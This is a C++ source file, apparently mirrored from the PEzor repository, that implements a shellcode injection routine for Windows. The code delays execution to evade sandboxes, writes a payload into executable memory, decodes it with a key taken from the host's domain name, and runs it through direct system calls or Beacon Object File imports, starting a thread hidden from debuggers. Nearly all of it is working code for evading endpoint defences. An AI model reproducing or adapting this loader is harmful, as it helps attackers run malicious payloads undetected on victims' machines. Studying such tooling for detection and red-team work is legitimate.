1
0
mirror of https://github.com/phra/PEzor synced 2026-06-08 16:45:36 +00:00
Files
2023-09-26 15:38:19 +02:00

309 lines
8.6 KiB
C++

#pragma clang diagnostic ignored "-Wnested-anon-types"
#pragma clang diagnostic ignored "-Wgnu-anonymous-struct"
#include "inject.hpp"
#ifdef SYSCALLS
#include "deps/inline_syscall/include/in_memory_init.hpp"
#endif
#define NT_FAIL(status) (status < 0)
#ifdef _BOF_
#pragma clang diagnostic ignored "-Wdollar-in-identifier-extension"
extern "C" DECLSPEC_IMPORT WINBASEAPI WINAPI void KERNEL32$Sleep(
DWORD dwMilliseconds
);
#define Sleep KERNEL32$Sleep
extern "C" DECLSPEC_IMPORT WINBASEAPI WINAPI LPVOID KERNEL32$VirtualAllocEx(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
#define VirtualAllocEx KERNEL32$VirtualAllocEx
extern "C" DECLSPEC_IMPORT WINBASEAPI WINAPI BOOL KERNEL32$VirtualProtectEx(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);
#define VirtualProtectEx KERNEL32$VirtualProtectEx
extern "C" DECLSPEC_IMPORT WINBASEAPI WINAPI BOOL KERNEL32$WriteProcessMemory(
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T *lpNumberOfBytesWritten
);
#define WriteProcessMemory KERNEL32$WriteProcessMemory
extern "C" DECLSPEC_IMPORT WINBASEAPI WINAPI HANDLE KERNEL32$CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
#define CreateRemoteThread KERNEL32$CreateRemoteThread
extern "C" DECLSPEC_IMPORT WINBASEAPI WINAPI DWORD KERNEL32$WaitForSingleObject(
HANDLE hHandle,
DWORD dwMilliseconds
);
#define WaitForSingleObject KERNEL32$WaitForSingleObject
#endif
void my_init_syscalls_list(void) {
#ifdef SYSCALLS
jm::init_syscalls_list();
#endif
}
typedef void* (*funcPtr)();
void executor(funcPtr shellcode) {
(*shellcode)();
}
LPVOID inject_shellcode_self(unsigned char shellcode[], SIZE_T size, PHANDLE phThread, BOOL wait, unsigned int sleep_time) {
#ifdef _DEBUG_
if (sleep_time > 0)
wprintf(L"sleeping for %d seconds!\n", sleep_time);
#endif
#ifdef SYSCALLS
NTSTATUS status = STATUS_PENDING;
LARGE_INTEGER li_sleep_time;
li_sleep_time.QuadPart = -((long long)sleep_time * 10000000);
status = INLINE_SYSCALL(NtDelayExecution)(TRUE, &li_sleep_time);
if (NT_FAIL(status)) {
#ifdef _DEBUG_
wprintf(L"ERROR: NtDelayExecution = 0x%x\n", status);
#endif
return NULL;
}
#else
Sleep(sleep_time);
#endif
#ifdef FLUCTUATE
fluctuate();
#endif
#if defined(SELFINJECT) && defined(RX) && defined(_TEXT_)
funcPtr func = (funcPtr)shellcode;
*phThread = 0;
#ifdef _DEBUG_
puts("self executing the payload in .text");
#endif
executor(func);
return NULL;
#else
void* allocation = nullptr;
#ifdef SYSCALLS
status = INLINE_SYSCALL(NtAllocateVirtualMemory)(
(HANDLE)-1,
&allocation,
0,
&size,
MEM_RESERVE | MEM_COMMIT,
#ifdef RX
PAGE_READWRITE);
#else
PAGE_EXECUTE_READWRITE);
#endif
if (NT_FAIL(status) || !allocation)
{
#ifdef _DEBUG_
wprintf(L"ERROR: NtAllocateVirtualMemory = 0x%x\n", status);
#endif
return NULL;
}
#else
allocation = VirtualAllocEx(
(HANDLE)-1,
0,
size,
MEM_RESERVE | MEM_COMMIT,
#ifdef RX
PAGE_READWRITE);
#else
PAGE_EXECUTE_READWRITE);
#endif
if (!allocation)
{
#ifdef _DEBUG_
wprintf(L"ERROR: VirtualAllocEx = 0x%x\n", GetLastError());
#endif
return NULL;
}
#endif
#ifdef _DEBUG_
wprintf(L"Allocated rwx memory @ 0x%x\n", allocation);
#endif
SIZE_T bytesWritten = 0;
#ifdef SYSCALLS
status = INLINE_SYSCALL(NtWriteVirtualMemory)(
(HANDLE)-1,
allocation,
shellcode,
size,
&bytesWritten);
if (NT_FAIL(status) || bytesWritten < size)
{
#ifdef _DEBUG_
wprintf(L"ERROR: NtWriteVirtualMemory = 0x%x\n", status);
#endif
return NULL;
}
#else
BOOL res = WriteProcessMemory(
(HANDLE)-1,
allocation,
shellcode,
size,
&bytesWritten);
if (!res) {
#ifdef _DEBUG_
wprintf(L"ERROR: WriteProcessMemory = 0x%x\n", GetLastError());
#endif
return NULL;
}
#endif
#ifdef _DEBUG_
wprintf(L"Written %d bytes of data @ 0x%x\n", bytesWritten, allocation);
#endif
#ifdef XOR_KEY
unsigned long max_length = 256;
char domain[256] = { 0 };
if (!GetComputerNameExA(ComputerNameDnsFullyQualified, domain, &max_length)) {
#ifdef _DEBUG_
wprintf(L"ERROR: GetComputerNameExA = 0x%x\n", GetLastError());
#endif
} else {
#ifdef _DEBUG_
wprintf(L"GetComputerNameExA = %s\n", domain);
#endif
}
for (SIZE_T i = 0; i < size; i++) {
((char*)allocation)[i] ^= domain[i % max_length];
}
#endif
#ifdef RX
DWORD old = 0;
#ifdef SYSCALLS
status = INLINE_SYSCALL(NtProtectVirtualMemory)(
(HANDLE)-1,
allocation,
size,
PAGE_EXECUTE_READ,
&old);
if (NT_FAIL(status) || old == 0)
{
#ifdef _DEBUG_
wprintf(L"ERROR: NtProtectVirtualMemory = 0x%x\n", status);
#endif
return NULL;
}
#else
res = VirtualProtectEx(
(HANDLE)-1,
allocation,
size,
PAGE_EXECUTE_READ,
&old);
if (!res) {
#ifdef _DEBUG_
wprintf(L"ERROR: VirtualProtectEx = 0x%x\n", GetLastError());
#endif
return NULL;
}
#endif
#endif
#ifdef SELFINJECT
typedef void* (*funcPtr)();
funcPtr func = (funcPtr)allocation;
*phThread = 0;
#ifdef _DEBUG_
puts("self executing the allocated payload");
#endif
return (*func)();
#elif SYSCALLS
status = INLINE_SYSCALL(NtCreateThreadEx)(
phThread,
THREAD_ALL_ACCESS,
nullptr,
(HANDLE)-1,
(void*)executor,
allocation,
THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER,
0,
0,
0,
nullptr);
if (NT_FAIL(status) || !*phThread)
{
#ifdef _DEBUG_
wprintf(L"ERROR: NtCreateThreadEx = 0x%x\n", status);
#endif
return NULL;
}
#else
*phThread = CreateRemoteThread(
(HANDLE)-1,
NULL,
0,
(LPTHREAD_START_ROUTINE)executor,
allocation,
NULL,
NULL
);
if (!*phThread) {
#ifdef _DEBUG_
wprintf(L"ERROR: CreateRemoteThread = 0x%x\n", GetLastError());
#endif
return NULL;
}
#endif
#ifdef _DEBUG_
wprintf(L"Created thread #%d\n", *phThread);
#endif
if (wait) {
#ifdef _DEBUG_
wprintf(L"Waiting for thread #%d\n", *phThread);
#endif
#ifdef SYSCALLS
INLINE_SYSCALL(NtWaitForSingleObject)(*phThread, TRUE, NULL);
#else
WaitForSingleObject(*phThread, -1);
#endif
}
return allocation;
#endif
}